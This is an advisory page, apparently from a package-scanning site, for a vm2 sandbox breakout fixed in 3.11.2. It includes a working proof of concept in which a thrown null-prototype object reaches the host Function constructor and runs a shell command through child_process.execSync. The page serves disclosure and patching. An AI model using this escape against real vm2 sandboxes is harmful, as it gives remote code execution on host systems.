vm2 has Sandbox Breakout Through Null Proto Exception
Published 8 May 2026 · Updated 14 May 2026
Affected package
- Affected
- <3.11.2
- Fixed in
- 3.11.2
npm install vm2@3.11.2Details
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
In handleException due to `// SECURITY (post-GHSA-mpf8 hardening): use from (not ensureThis) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function` object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
throw o;
} catch (e) {
e.f = Buffer.prototype.inspect
o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Is GHSA-9vg3-4rfj-wgcm in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.